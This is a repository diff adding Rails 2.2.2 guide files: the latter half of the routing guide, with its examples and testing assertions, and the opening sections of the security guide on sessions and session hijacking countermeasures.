+GET        /photos/1/edit  Images      edit     return an HTML form for editing a image
+PUT        /photos/1       Images      update   update a specific image
+DELETE     /photos/1       Images      destroy  delete a specific image
+--------------------------------------------------------------------------------------------
+
+NOTE: The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
+
+=== Controller Namespaces and Routing ===
+
+Rails allows you to group your controllers into namespaces by saving them in folders underneath +app/controllers+. The +:controller+ option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the +admin+ folder:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :adminphotos, :controller => "admin/photos"
+-------------------------------------------------------
+
+If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the +adminphoto_path+ helper, and you follow a link generated with +<%= link_to "show", adminphoto(1) %>+ you will end up on the view generated by +admin/photos/show+ but you will also end up in the same place if you have +<%= link_to "show", {:controller => "photos", :action => "show"} %>+ because Rails will generate the show URL relative to the current URL.
+
+TIP: If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: +<%= link_to "show", {:controller => "/photos", :action => "show"} %>+
+
+You can also specify a controller namespace with the +:namespace+ option instead of a path:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :adminphotos, :namespace => "admin", :controller => "photos"
+-------------------------------------------------------
+
+This can be especially useful when combined with +with_options+ to map multiple namespaced routes together:
+
+[source, ruby]
+-------------------------------------------------------
+map.with_options(:namespace => "admin") do |admin|
+  admin.resources :photos, :videos
+end
+-------------------------------------------------------
+
+That would give you routing for +admin/photos+ and +admin/videos+ controllers.
+
+==== Using :singular
+
+If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the +:singular+ option:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :teeth, :singular => "tooth"
+-------------------------------------------------------
+
+TIP: Depending on the other code in your application, you may prefer to add additional rules to the +Inflector+ class instead.
+
+==== Using :requirements
+
+You an use the +:requirements+ option in a RESTful route to impose a format on the implied +:id+ parameter in the singular routes. For example:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
+-------------------------------------------------------
+
+This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, +/photos/1+ would no longer be recognized by this route, but +/photos/RR27+ would.
+
+==== Using :conditions
+
+Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)
+
+==== Using :as
+
+The +:as+ option lets you override the normal naming for the actual generated paths. For example:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :as => "images"
+-------------------------------------------------------
+
+will recognize incoming URLs containing +image+ but route the requests to the Photos controller: 
+
+[grid="all"]
+`----------`---------------`-----------`--------`-------------------------------------------
+HTTP verb  URL             controller  action   used for
+--------------------------------------------------------------------------------------------
+GET        /images         Photos      index    display a list of all photos
+GET        /images/new     Photos      new      return an HTML form for creating a new photo
+POST       /images         Photos      create   create a new photo
+GET        /images/1       Photos      show     display a specific photo
+GET        /images/1/edit  Photos      edit     return an HTML form for editing a photo
+PUT        /images/1       Photos      update   update a specific photo
+DELETE     /images/1       Photos      destroy  delete a specific photo
+--------------------------------------------------------------------------------------------
+
+NOTE: The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get +photos_path+, +new_photo_path+, and so on.
+
+==== Using :path_names
+
+The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in URLs:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
+-------------------------------------------------------
+
+This would cause the routing to recognize URLs such as
+
+-------------------------------------------------------
+/photos/make
+/photos/1/change
+-------------------------------------------------------
+
+NOTE: The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.
+
+TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:
+
+[source, ruby]
+-------------------------------------------------------
+config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }
+-------------------------------------------------------
+
+==== Using :path_prefix
+
+The +:path_prefix+ option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :path_prefix => '/photographers/:photographer_id'
+-------------------------------------------------------
+
+Routes recognized by this entry would include:
+
+-------------------------------------------------------
+/photographers/1/photos/2
+/photographers/1/photos
+-------------------------------------------------------
+
+NOTE: In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
+
+NOTE: You can also use +:path_prefix+ with non-RESTful routes.
+
+==== Using :name_prefix
+
+You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use +:path_prefix+ to map differently. For example:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :path_prefix => '/photographers/:photographer_id', :name_prefix => 'photographer_'
+map.resources :photos, :path_prefix => '/agencies/:agency_id', :name_prefix => 'agency_'
+-------------------------------------------------------
+
+This combination will give you route helpers such as +photographer_photos_path+ and +agency_edit_photo_path+ to use in your code.
+
+NOTE: You can also use +:name_prefix+ with non-RESTful routes.
+
+==== Using :only and :except
+
+By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option specifies that only certain routes should be generated:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :only => [:index, :show]
+-------------------------------------------------------
+
+With this declaration, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the create action) will fail.
+
+The +:except+ option specifies a route or list of routes that should _not_ be generated:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :except => :destroy
+-------------------------------------------------------
+
+In this case, all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/_id_+) will be generated.
+
+In addition to an action or a list of actions, you can also supply the special symbols +:all+ or +:none+ to the +:only+ and +:except+ options.
+
+TIP: If your application has many RESTful routes, using +:only+ and +:accept+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+=== Nested Resources
+
+It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+[source, ruby]
+-------------------------------------------------------
+class Magazine < ActiveRecord::Base
+  has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+  belongs_to :magazine
+end
+-------------------------------------------------------
+
+Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :magazines do |magazine|
+  magazine.resources :ads
+end 
+-------------------------------------------------------
+
+In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:
+
+[grid="all"]
+`----------`-----------------------`-----------`--------`-------------------------------------------
+HTTP verb  URL                      controller  action   used for
+--------------------------------------------------------------------------------------------
+GET        /magazines/1/ads         Ads         index    display a list of all ads for a specific magazine
+GET        /magazines/1/ads/new     Ads         new      return an HTML form for creating a new ad belonging to a specific magazine
+POST       /magazines/1/ads         Ads         create   create a new ad belonging to a specific magazine
+GET        /magazines/1/ads/1       Ads         show     display a specific ad belonging to a specific magazine
+GET        /magazines/1/ads/1/edit  Ads         edit     return an HTML form for editing an ad belonging to a specific magazine
+PUT        /magazines/1/ads/1       Ads         update   update a specific ad belonging to a specific magazine
+DELETE     /magazines/1/ads/1       Ads         destroy  delete a specific ad belonging to a specific magazine
+--------------------------------------------------------------------------------------------
+
+This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+.
+
+==== Using :name_prefix
+
+The +:name_prefix+ option overrides the automatically-generated prefix in nested route helpers. For example,
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :magazines do |magazine|
+  magazine.resources :ads, :name_prefix => 'periodical'
+end 
+-------------------------------------------------------
+
+This will create routing helpers such as +periodical_ads_url+ and +periodical_edit_ad_path+. You can even use +:name_prefix+ to suppress the prefix entirely:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :magazines do |magazine|
+  magazine.resources :ads, :name_prefix => nil
+end 
+-------------------------------------------------------
+
+This will create routing helpers such as +ads_url+ and +edit_ad_path+. Note that calling these will still require supplying an article id:
+
+[source, ruby]
+-------------------------------------------------------
+ads_url(@magazine)
+edit_ad_path(@magazine, @ad)
+-------------------------------------------------------
+
+==== Using :has_one and :has_many
+
+The +:has_one+ and +:has_many+ options provide a succinct notation for simple nested routes. Use +:has_one+ to nest a singleton resource, or +:has_many+ to nest a plural resource:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
+-------------------------------------------------------
+
+This has the same effect as this set of declarations:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos do |photo|
+  photo.resource :photographer
+  photo.resources :publications
+  photo.resources :versions
+end
+-------------------------------------------------------
+ 
+==== Limits to Nesting
+
+You can nest resources within other nested resources if you like. For example:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :publishers do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+-------------------------------------------------------
+
+However, without the use of +name_prefix => nil+, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as
+
+-------------------------------------------------------
+/publishers/1/magazines/2/photos/3
+-------------------------------------------------------
+
+The corresponding route helper would be +publisher_magazine_photo_url+, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular link:http://weblog.jamisbuck.org/2007/2/5/nesting-resources[article] by Jamis Buck proposes a rule of thumb for good Rails design:
+
+_Resources should never be nested more than 1 level deep._
+
+==== Shallow Nesting
+
+The +:shallow+ option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an +:id+ parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :publishers, :shallow => true do |publisher|
+  publisher.resources :magazines do |magazine|
+    magazine.resources :photos
+  end
+end
+-------------------------------------------------------
+
+This will enable recognition of (among others) these routes:
+
+-------------------------------------------------------
+/publishers/1           ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2            ==> magazine_path(2)
+/magazines/2/photos     ==> magazines_photos_path(2)
+/photos/3               ==> photo_path(3)
+-------------------------------------------------------
+
+With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the +:has_one+ and +:has_many+ options:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true
+-------------------------------------------------------
+
+=== Route Generation from Arrays
+
+In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :magazines do |magazine|
+  magazine.resources :ads
+end
+-------------------------------------------------------
+
+Rails will generate helpers such as magazine_ad_path that you can use in building links:
+
+[source, ruby]
+-------------------------------------------------------
+<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
+-------------------------------------------------------
+
+Another way to refer to the same route is with an array of objects:
+
+[source, ruby]
+-------------------------------------------------------
+<%= link_to "Ad details", [@magazine, @ad] %>
+-------------------------------------------------------
+
+This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.
+ 
+=== Namespaced Resources
+
+It's possible to do some quite complex things by combining +:path_prefix+ and +:name_prefix+. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos'
+map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags'
+map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings'
+-------------------------------------------------------
+
+The good news is that if you find yourself using this level of complexity, you can stop. Rails supports _namespaced resources_ to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:
+
+[source, ruby]
+-------------------------------------------------------
+map.namespace(:admin) do |admin|
+	admin.resources :photos,
+	  :has_many => { :tags, :ratings}
+end
+-------------------------------------------------------
+
+As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get +admin_photos_url+ that expects to find an +Admin::PhotosController+ and that matches +admin/photos+, and +admin_photos_ratings_path+ that matches +/admin/photos/_photo_id_/ratings+, expecting to use +Admin::RatingsController+. Even though you're not specifying +path_prefix+ explicitly, the routing code will calculate the appropriate +path_prefix+ from the route nesting.
+
+=== Adding More RESTful Actions
+
+You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).
+
+==== Adding Member Routes
+
+To add a member route, use the +:member+ option:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :member => { :preview => :get }
+-------------------------------------------------------
+
+This will enable Rails to recognize URLs such as +/photos/1/preview+ using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a +preview_photo+ route helper.
+
+Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use +:get+, +:put+, +:post+, +:delete+, or +:any+ here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :member => { :prepare => [:get, :post] }
+-------------------------------------------------------
+
+==== Adding Collection Routes
+
+To add a collection route, use the +:collection+ option:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :collection => { :search => :get }
+-------------------------------------------------------
+
+This will enable Rails to recognize URLs such as +/photos/search+ using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a +search_photos+ route helper.
+
+Just as with member routes, you can specify an array of methods for a collection route:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :collection => { :search => [:get, :post] }
+-------------------------------------------------------
+
+==== Adding New Routes
+
+To add a new route (one that creates a new resource), use the +:new+ option:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :new => { :upload => :post }
+-------------------------------------------------------
+
+This will enable Rails to recognize URLs such as +/photos/upload+ using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a +upload_photos+ route helper.
+
+TIP: If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :new => { :new => :any }
+-------------------------------------------------------
+
+This will allow the new action to be invoked by any request to +photos/new+, no matter what HTTP verb you use.
+
+==== A Note of Caution
+
+If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the +:member+ and +:collection+ hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.
+
+== Regular Routes
+
+In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.
+
+While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing _when possible_, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit. 
+
+=== Bound Parameters
+
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id'
+-------------------------------------------------------
+
+If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +Photos+ controller, and to make the final parameter (1) available as +params[:id]+.
+
+=== Wildcard Components
+
+You can set up as many wildcard symbols within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the matching action as part of the params hash. So, if you set up this route:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id/:user_id'
+-------------------------------------------------------
+
+An incoming URL of +/photos/show/1/2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be set to 2.
+
+=== Static Text
+
+You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id/with_user/:user_id'
+-------------------------------------------------------
+
+This route would respond to URLs such as +/photos/show/1/with_user/2+.
+
+=== Querystring Parameters
+
+Rails routing automatically picks up querystring parameters and makes them available in the +params+ hash. For example, with this route:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id'
+-------------------------------------------------------
+
+An incoming URL of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params[:id]+ will be set to 1, and +params[:user_id]+ will be equal to 2.
+
+=== Defining Defaults
+
+You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply defaults for these two parameters in a hash:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect 'photo/:id', :controller => 'photos', :action => 'show'
+-------------------------------------------------------
+
+With this route, an incoming URL of +/photos/12+ would be dispatched to the +show+ action within the +Photos+ controller.
+
+You an also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect 'photo/:id', :controller => 'photos', :action => 'show', :defaults => { :format => 'jpg' }
+-------------------------------------------------------
+
+With this route, an incoming URL of +photos/12+ would be dispatched to the +show+ action within the +Photos+ controller, and +params[:format]+ will be set to +jpg+.
+
+=== Named Routes
+
+Regular routes need not use the +connect+ method. You can use any other name here to create a _named route_. For example,
+
+[source, ruby]
+-------------------------------------------------------
+map.logout '/logout', :controller => 'sessions', :action => 'destroy'
+-------------------------------------------------------
+
+This will do two things. First, requests to +/logout+ will be sent to the +destroy+ method of the +Sessions+ controller. Second, Rails will maintain the +logout_path+ and +logout_url+ helpers for use within your code.
+
+=== Route Requirements
+
+You can use the +:requirements+ option to enforce a format for any parameter in a route:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect 'photo/:id', :controller => 'photos', :action => 'show',
+ :requirements => { :id => /[A-Z]\d{5}/ }
+-------------------------------------------------------
+
+This route would respond to URLs such as +/photo/A12345+. You can more succinctly express the same route this way:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect 'photo/:id', :controller => 'photos', :action => 'show',
+  :id => /[A-Z]\d{5}/ 
+-------------------------------------------------------
+
+=== Route Conditions
+
+Route conditions (introduced with the +:conditions+ option) are designed to implement restrictions on routes. Currently, the only supported restriction is +:method+:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect 'photo/:id', :controller => 'photos', :action => 'show',
+ :conditions => { :method => :get }
+-------------------------------------------------------
+
+As with conditions in RESTful routes, you can specify +:get+, +:post+, +:put+, +:delete+, or +:any+ for the acceptable method.
+
+=== Route Globbing
+
+Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example
+
+[source, ruby]
+-------------------------------------------------------
+map.connect 'photo/*other', :controller => 'photos', :action => 'unknown',
+-------------------------------------------------------
+
+This route would match +photo/12+ or +/photo/long/path/to/12+ equally well, creating an array of path segments as the value of +params[:other]+.
+
+=== Route Options
+
+You can use +:with_options+ to simplify defining groups of similar routes:
+
+[source, ruby]
+-------------------------------------------------------
+map.with_options :controller => 'photo' do |photo|
+  photo.list '', :action => 'index'
+  photo.delete ':id/delete', :action => 'delete'
+  photo.edit ':id/edit', :action => 'edit'
+end
+-------------------------------------------------------
+
+The importance of +map.with_options+ has declined with the introduction of RESTful routes.
+
+== Formats and respond_to
+
+There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special +:format+ parameter in the route.
+
+For instance, consider the second of the default routes in the boilerplate +routes.rb+ file:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id.:format'
+-------------------------------------------------------
+
+This route matches requests such as +/photo/edit/1.xml+ or +/photo/show/2.rss+. Within the appropriate action code, you can issue different responses depending on the requested format:
+
+[source, ruby]
+-------------------------------------------------------
+respond_to do |format|
+  format.html # return the default template for HTML
+  format.xml { render :xml => @photo.to_xml }
+end
+-------------------------------------------------------
+
+=== Specifying the Format with an HTTP Header
+
+If there is no +:format+ parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.
+
+=== Recognized MIME types
+
+By default, Rails recognizes +html+, +text+, +json+, +csv+, +xml+, +rss+, +atom+, and +yaml+ as acceptable response types. If you need types beyond this, you can register them in your environment:
+
+[source, ruby]
+-------------------------------------------------------
+Mime::Type.register "image/jpg", :jpg
+-------------------------------------------------------
+
+== The Default Routes
+
+When you create a new Rails application, +routes.rb+ is initialized with two default routes:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect ':controller/:action/:id'
+map.connect ':controller/:action/:id.:format'
+-------------------------------------------------------
+
+These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.
+
+NOTE: The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.
+
+== The Empty Route
+
+Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to +http://example.com+ or +http://example.com/+ will be handled by the empty route.
+
+=== Using map.root
+
+The preferred way to set up the empty route is with the +map.root+ command:
+
+[source, ruby]
+-------------------------------------------------------
+map.root :controller => "pages", :action => "main"
+-------------------------------------------------------
+
+The use of the +root+ method tells Rails that this route applies to requests for the root of the site.
+
+For better readability, you can specify an already-created route in your call to +map.root+:
+
+[source, ruby]
+-------------------------------------------------------
+map.index :controller => "pages", :action => "main"
+map.root :index
+-------------------------------------------------------
+
+Because of the top-down processing of the file, the named route must be specified _before_ the call to +map.root+.
+
+=== Connecting the Empty String
+
+You can also specify an empty route by explicitly connecting the empty string:
+
+[source, ruby]
+-------------------------------------------------------
+map.connect '', :controller => "pages", :action => "main"
+-------------------------------------------------------
+
+TIP: If the empty route does not seem to be working in your application, make sure that you have deleted the file +public/index.html+ from your Rails tree.
+
+== Inspecting and Testing Routes
+
+Routing in your application should not be a "black box" that you never open. Rails offers built-in tools for both inspecting and testing routes.
+
+=== Seeing Existing Routes with rake
+
+If you want a complete list of all of the available routes in your application, run the +rake routes+ command. This will dump all of your routes to the console, in the same order that they appear in +routes.rb+. For each route, you'll see:
+
+* The route name (if any)
+* The HTTP verb used (if the route doesn't respond to all verbs)
+* The URL pattern
+* The routing parameters that will be generated by this URL
+
+For example, here's a small section of the +rake routes+ output for a RESTful route:
+
+-------------------------------------------------------------------------------------------------------
+          users GET  /users          {:controller=>"users", :action=>"index"}
+formatted_users GET  /users.:format  {:controller=>"users", :action=>"index"}
+                POST /users          {:controller=>"users", :action=>"create"}
+                POST /users.:format  {:controller=>"users", :action=>"create"}
+-------------------------------------------------------------------------------------------------------
+
+TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
+
+=== Testing Routes
+
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three link:http://api.rubyonrails.com/classes/ActionController/Assertions/RoutingAssertions.html[built-in assertions] designed to make testing routes simpler:
+
+* +assert_generates+
+* +assert_recognizes+
+* +assert_routing+
+
+==== The +assert_generates+ Assertion
+
+Use +assert_generates+ to assert that a particular set of options generate a particular path. You can use this with default routes or custom routes
+
+[source, ruby]
+-------------------------------------------------------
+assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
+assert_generates "/about", :controller => "pages", :action => "about"
+-------------------------------------------------------
+
+==== The +assert_recognizes+ Assertion
+
+The +assert_recognizes+ assertion is the inverse of +assert_generates+. It asserts that Rails recognizes the given path and routes it to a particular spot in your application.
+
+[source, ruby]
+-------------------------------------------------------
+assert_recognizes { :controller => "photos", :action => "show", :id => "1" }, "/photos/1"
+-------------------------------------------------------
+
+You can supply a +:method+ argument to specify the HTTP verb:
+
+[source, ruby]
+-------------------------------------------------------
+assert_recognizes { :controller => "photos", :action => "create" }, { :path => "photos", :method => :post }
+-------------------------------------------------------
+
+You can also use the RESTful helpers to test recognition of a RESTful route:
+
+[source, ruby]
+-------------------------------------------------------
+assert_recognizes new_photo_url, { :path => "photos", :method => :post }
+-------------------------------------------------------
+
+==== The +assert_routing+ Assertion
+
+The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
+
+[source, ruby]
+-------------------------------------------------------
+assert_routing { :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }
+-------------------------------------------------------
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/3[Lighthouse ticket]
+
+* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by link:../authors.html#mgunderloy[Mike Gunderloy]
+* September 23, 2008: Added section on namespaced controllers and routing, by link:../authors.html#mgunderloy[Mike Gunderloy]
+* September 10, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/security.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/security.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/security.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,984 @@
+Ruby On Rails Security Guide
+============================
+ 
+This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
+mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
+
+- All countermeasures [,#fffcdb]#that are highlighted#
+- The concept of sessions in Rails, what to put in there and popular attack methods
+- How just visiting a site can be a security problem (with CSRF)
+- What you have to pay attention to when working with files or providing an administration interface
+- The Rails-specific mass assignment problem
+- How to manage users: Logging in and out and attack methods on all layers
+- And the most popular injection attack methods
+
+== Introduction
+
+Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.
+
+In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
+
+The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
+
+The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
+
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.
+
+== Sessions
+
+A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
+
+=== What are sessions?
+
+-- _HTTP is a stateless protocol Sessions make it stateful._
+
+Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
+
+A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
+
+[source, ruby]
+----------------------------------------------------------------------------
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+----------------------------------------------------------------------------
+
+=== Session id
+
+-- _The session id is a 32 byte long MD5 hash value._
+
+A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
+
+=== Session hijacking
+
+-- _Stealing a user's session id lets an attacker use the web application in the victim's name._
+
+Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
+
+Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
+
+- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to [,#fffcdb]#provide a secure connection over SSL#.
+
+- Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a [,#fffcdb]#log-out button# in the web application, and [,#fffcdb]#make it prominent#.
+
+- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
+
